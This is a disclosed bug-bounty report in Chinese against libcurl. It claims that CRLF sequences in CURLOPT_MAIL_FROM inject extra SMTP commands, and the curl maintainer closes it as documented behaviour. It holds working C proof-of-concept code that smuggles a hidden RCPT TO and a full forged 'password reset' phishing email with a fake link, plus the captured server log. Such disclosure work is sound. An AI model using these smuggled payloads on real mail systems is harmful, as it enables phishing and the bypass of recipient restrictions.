漏洞报告 #3451305 - 通过CURLOPT_MAIL_FROM中的CRLF进行SMTP协议注入导致邮件伪造
摘要
libcurl的SMTP实现在处理CURLOPT_MAIL_FROM选项时存在一个关键漏洞。与通过Curl_junkscan进行严格验证的完整URL不同,通过curl_easy_setopt提供给CURLOPT_MAIL_FROM的输入未对控制字符进行净化。
这使得攻击者能够将回车和换行符(\r\n)序列注入发件人地址中。通过这样做,攻击者可以提前终止MAIL FROM命令,并将任意SMTP命令(如RCPT TO、DATA和自定义头)直接注入控制通道。这有效地破坏了协议封装,允许进行电子邮件伪造和安全控制绕过。
AI声明:本报告是在AI代理的协助下研究和生成的,用于分析libcurl源代码并识别不一致的验证逻辑。然而,该漏洞已通过手动验证、编译并在本地执行了概念验证代码,并针对原始TCP服务器确认了其有效性和可复现性。
受影响版本
该漏洞在以下版本中复现:
1
2
3
4
|
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
|
漏洞代码分析
该漏洞源于libcurl根据使用的API处理输入验证时存在差异。
1. 严格标准(安全):lib/urlapi.c
解析完整URL时(例如smtp://...),libcurl使用Curl_junkscan来确保不存在控制字符。这可以防止通过URL本身进行注入。
1
2
3
4
5
6
7
8
9
10
11
|
/* lib/urlapi.c - Curl_junkscan 逻辑 */
CURLUcode Curl_junkscan(const char *url, size_t *urllen, bool allowspace)
{
/* ... */
for(i = 0; i < n; i++) {
/* 拒绝任何小于32的字符(ASCII控制字符) */
if(p[i] <= control || p[i] == 127)
return CURLUE_MALFORMED_INPUT;
}
return CURLUE_OK;
}
|
2. 缺失的验证(易受攻击):lib/setopt.c
通过curl_easy_setopt单独设置选项时,特别是CURLOPT_MAIL_FROM,验证被绕过了。Curl_setstropt函数仅复制字符串而不进行净化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
/* lib/setopt.c - 处理 CURLOPT_MAIL_FROM */
case CURLOPT_MAIL_FROM:
result = Curl_setstropt(&data->set.str[STRING_MAIL_FROM], va_arg(param, char *));
break;
/* Curl_setstropt 实现 */
CURLcode Curl_setstropt(char **charp, const char *s)
{
/* ... */
if(s) {
/* 漏洞点:原始 strdup,未调用 Curl_junkscan 或检查 CRLF */
*charp = strdup(s);
if(!*charp)
return CURLE_OUT_OF_MEMORY;
}
return CURLE_OK;
}
|
3. 注入点:lib/smtp.c
未经净化的字符串随后直接在SMTP协议状态机中使用。Curl_pp_sendf函数格式化命令并将其发送到套接字,将注入的\r\n视为协议分隔符。
1
2
3
|
/* lib/smtp.c - smtp_perform_mail() */
/* 'from' 包含攻击者控制的带有 CRLF 的字符串 */
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s", from);
|
复现步骤
要复现此问题,我们需要一个显示线路上接收的确切字节的“原始接收器”服务器,因为标准SMTP服务器可能会通过静默处理命令来掩盖注入。
- 启动原始接收器服务器:保存提供的
raw_server.py脚本并运行它。它在端口1025上监听并打印原始传入数据。
- 编译并运行精准概念验证程序 (
poc.c):此C程序使用libcurl注入单个隐藏的RCPT TO命令。这在不破坏会话流的情况下证明了协议注入。
- 编译并运行伪造概念验证程序 (
poc_spoofing.c):此C程序演示了一个具体的攻击场景。它注入DATA和自定义头以完全伪造一封来自admin@google.com的电子邮件,绕过应用程序的预期逻辑。
- 观察服务器日志:
raw_server.py的输出将显示libcurl在单个数据块中发送了多个SMTP命令,从而证实了缺乏净化。
支持材料/参考文献
1. 原始接收器服务器 (raw_server.py)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import socket
def run_raw_server():
host = '127.0.0.1'
port = 1025
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(1)
print(f"[+] Raw Server listening on {host}:{port}")
conn, addr = s.accept()
with conn:
# 发送初始SMTP横幅以满足libcurl
conn.sendall(b"220 FakeSMTP\r\n")
while True:
data = conn.recv(4096)
if not data: break
print("-" * 40)
# 显示原始字节以证明 CRLF 注入
print(f"RECEIVED RAW:\n{data.decode('utf-8', errors='ignore')}")
print("-" * 40)
if b"QUIT" in data: break
# 确认命令以保持流程继续
conn.sendall(b"250 OK\r\n")
if __name__ == "__main__":
run_raw_server()
|
2. 精准概念验证程序 (poc.c)
此代码演示了注入一个不在CURLOPT_MAIL_RCPT列表中的二级收件人 (victim@target.com)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
CURL *curl;
/*
* 载荷:终止 MAIL FROM 并注入一个新的 RCPT TO 命令。
* 服务器将看到在一个数据包中发送的两个不同的命令。
*/
const char *malicious_from = "<attacker@evil.com>\r\nRCPT TO:<victim@target.com>";
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");
curl_easy_setopt(curl, CURLOPT_MAIL_FROM, malicious_from);
// 我们还添加一个合法的收件人以显示流程正常继续
struct curl_slist *rcpt = curl_slist_append(NULL, "<legit@example.com>");
curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, rcpt);
// 空正文
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
curl_easy_setopt(curl, CURLOPT_INFILESIZE, 0L);
curl_easy_perform(curl);
curl_slist_free_all(rcpt);
curl_easy_cleanup(curl);
}
return 0;
}
|
3. 具体伪造场景 (poc_spoofing.c)
此代码演示了一个完整的钓鱼攻击,攻击者接管会话以伪造发件人和主题。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
CURL *curl;
/*
* 伪造载荷:
* 1. 关闭 MAIL FROM 命令。
* 2. 注入 RCPT TO(绕过应用程序收件人列表)。
* 3. 注入 DATA 以开始电子邮件内容。
* 4. 伪造 'From' 头以冒充受信任实体。
* 5. 结束电子邮件并 QUIT。
*/
const char *spoof_payload = "<attacker@evil.com>\r\n"
"RCPT TO:<victim@target.com>\r\n"
"DATA\r\n"
"From: Security Team <admin@google.com>\r\n"
"To: Victim <victim@target.com>\r\n"
"Subject: URGENT: Password Reset Required\r\n"
"\r\n"
"Click here to reset your password: http://fake-google.com\r\n"
".\r\n"
"QUIT";
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");
// 漏洞:将载荷注入 MAIL_FROM
curl_easy_setopt(curl, CURLOPT_MAIL_FROM, spoof_payload);
// 虚拟收件人以满足 libcurl 的内部检查
struct curl_slist *rcpt = curl_slist_append(NULL, "<ignored@example.com>");
curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, rcpt);
// 禁用正常上传,因为我们通过 MAIL_FROM 注入了一切
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
curl_easy_setopt(curl, CURLOPT_INFILESIZE, 0L);
curl_easy_perform(curl);
curl_slist_free_all(rcpt);
curl_easy_cleanup(curl);
}
return 0;
}
|
4. 证据(服务器日志)
运行 poc_spoofing.c 时 raw_server.py 的输出。注意,libcurl 将头信息和正文作为原始命令发送,并且服务器接受了伪造的 From 头。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
[+] 原始服务器监听 127.0.0.1:1025
[+] 连接来自 ('127.0.0.1', 42538)
----------------------------------------
收到(原始字节):
b'EHLO anonymous-Advanced-Gaming-Laptop\r\n'
收到(解码):
EHLO anonymous-Advanced-Gaming-Laptop
----------------------------------------
----------------------------------------
收到(原始字节):
b'MAIL FROM:<attacker@evil.com>\r\nRCPT TO:<victim@target.com>\r\nDATA\r\nFrom: Security Team <admin@google.com>\r\nTo: Victim <victim@target.com>\r\nSubject: URGENT: Password Reset Required\r\n\r\nClick here to reset your password: http://fake-google.com\r\n.\r\nQUIT>\r\n'
收到(解码):
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
From: Security Team <admin@google.com>
To: Victim <victim@target.com>
Subject: URGENT: Password Reset Required
Click here to reset your password: http://fake-google.com
.
QUIT>
----------------------------------------
|
影响
攻击者可以实现哪些安全影响?
此漏洞允许攻击者打破预期的SMTP命令结构,导致三个关键的安全影响:
1. 安全控制绕过(收件人白名单绕过)
许多应用程序实施安全逻辑来限制谁可以接收电子邮件(例如,仅限内部 @company.com 地址)。此逻辑通常验证传递给 CURLOPT_MAIL_RCPT 的列表。
通过在 MAIL FROM 字段内注入 RCPT TO:<attacker@evil.com> 命令,攻击者完全绕过了这些应用级检查。应用程序认为它正在向安全的收件人发送电子邮件,而 libcurl 却秘密指示 SMTP 服务器向攻击者或任意受害者发送副本。
2. 高保真钓鱼和伪造
通过注入 DATA 命令,攻击者获得对电子邮件内容和头信息(主题、日期,以及最重要的、向用户显示的 From 头)的完全控制。
由于电子邮件源自合法的应用程序服务器(该服务器可能拥有域名的有效 SPF/DKIM 记录),这些伪造的电子邮件将通过反垃圾邮件检查,并对收件人显得完全合法。这允许进行非常有效的钓鱼攻击(例如,来自受信任内部工具的“密码重置”电子邮件)。
3. SMTP 会话投毒
攻击者可以使SMTP状态机失步。通过注入应用程序不知道的命令,攻击者可以更改连接的状态,可能会影响通过同一重用连接发送的后续电子邮件传输(如果连接池处于活动状态),从而导致合法用户的数据泄露或拒绝服务。
(后续内容为报告处理流程的翻译)
bagder (curl 工作人员) 在 10小时前 发表了评论。
谢谢。
这不被视为一个漏洞,事实上是已记录的行为。这里没有人在注入CRLF,只是用户自己向curl发送“垃圾”并要求一些奇怪的事情发生。
bagder (curl 工作人员) 关闭了报告并将状态更改为“不适用”。 10小时前
被认为不是安全问题。
bagder (curl 工作人员) 请求披露此报告。 9小时前
根据项目的透明性政策,我们希望所有报告都被披露并公开。
anonymous_237 发表了评论。 9小时前
我完全同意披露。感谢您的时间和详细审查。
我尊重这个决定,并注意到关于“头信息中的CRLF”的安全文档,该文档澄清了libcurl“按原样”发送此类数据而不进行净化。
公开记录一下,本报告的动机是观察到应用于完整URL(Curl_junkscan保护协议)的严格净化与curl_easy_setopt中的原始处理之间的差异。
我希望这份报告能作为一个有用的提醒,提醒开发人员必须手动净化传递给像CURLOPT_MAIL_FROM这样的选项的输入,因为库在该级别上依赖应用程序来确保协议的完整性。
bagder (curl 工作人员) 披露了此报告。 9小时前
报告日期:2025年12月4日,UTC时间9:55
报告人:anonymous_237
报告对象:curl
参与者:…
报告ID:#3451305
严重性:无评级 (—)
披露日期:2025年12月4日,UTC时间11:23
弱点:CRLF 注入
CVE ID:无
赏金:无
账户详情:无